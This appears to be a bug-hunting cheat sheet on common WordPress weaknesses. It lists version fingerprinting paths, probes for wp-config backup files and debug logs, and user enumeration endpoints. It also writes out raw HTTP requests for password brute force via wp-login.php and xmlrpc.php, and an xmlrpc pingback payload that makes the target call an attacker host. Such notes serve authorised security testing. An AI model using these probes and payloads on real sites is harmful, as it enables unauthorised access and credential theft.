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109 lines
2.7 KiB
Markdown
109 lines
2.7 KiB
Markdown
# WordPress Common Bugs
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## Introduction
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What would you do if you came across a website that uses WordPress?
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## How to Detect
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If you visit `https://target.com` and see the source code, you will see the links to themes and plugins from WordPress. Or you can visit `https://target.com/wp-login.php`, it is the WordPress login admin page
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1. Find the related CVE by checking the core, plugins, and theme version
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* How to find the wordpress version
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```
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https://target.com/feed
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https://target.com/?feed=rss2
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```
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* How to find the plugin version
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```
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https://target.com/wp-content/plugins/PLUGINNAME/readme.txt
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https://target.com/wp-content/plugins/PLUGINNAME/readme.TXT
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https://target.com/wp-content/plugins/PLUGINNAME/README.txt
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https://target.com/wp-content/plugins/PLUGINNAME/README.TXT
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```
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> or change readme.txt to changelog.txt or readme.md
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* How to find the theme version
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```
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https://target.com/wp-content/themes/THEMENAME/style.css
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https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file)
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```
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If you found outdated core / plugins / themes, find the exploit at https://wpscan.com
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2. Finding log files
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```
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http://target.com/wp-content/debug.log
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```
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3. Finding backup file wp-config
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```
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http://target.com/.wp-config.php.swp
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http://target.com/wp-config.inc
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http://target.com/wp-config.old
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http://target.com/wp-config.txt
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http://target.com/wp-config.html
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http://target.com/wp-config.php.bak
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http://target.com/wp-config.php.dist
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http://target.com/wp-config.php.inc
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http://target.com/wp-config.php.old
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http://target.com/wp-config.php.save
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http://target.com/wp-config.php.swp
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http://target.com/wp-config.php.txt
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http://target.com/wp-config.php.zip
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http://target.com/wp-config.php.html
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http://target.com/wp-config.php~
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```
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4. Get the username on the website
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```
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http://target.com/?author=1
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```
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or
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```
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http://target.com/wp-json/wp/v2/users
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http://target.com/?rest_route=/wp/v2/users
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```
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5. Bruteforce
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```
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POST /wp-login.php HTTP/1.1
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Host: target.com
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log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1
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```
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or
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```
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POST /xmlrpc.php HTTP/1.1
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Host: target.com
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<?xml version="1.0" encoding="UTF-8"?>
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<methodCall>
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<methodName>wp.getUsersBlogs</methodName>
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<params>
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<param><value>admin</value></param>
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<param><value>BRUTEFORCE_IN_HERE</value></param>
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</params>
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</methodCall>
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```
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6. XSPA in wordpress
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```
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POST /xmlrpc.php HTTP/1.1
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Host: target.com
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<methodCall>
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<methodName>pingback.ping</methodName>
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<params><param>
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<value><string>http://yourip:port</string></value>
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</param><param>
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<value>
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<string>https://target.com></string>
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</value>
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</param></params>
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</methodCall>
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```
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7. Register enabled
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```
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http://example.com/wp-login.php?action=register
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``` |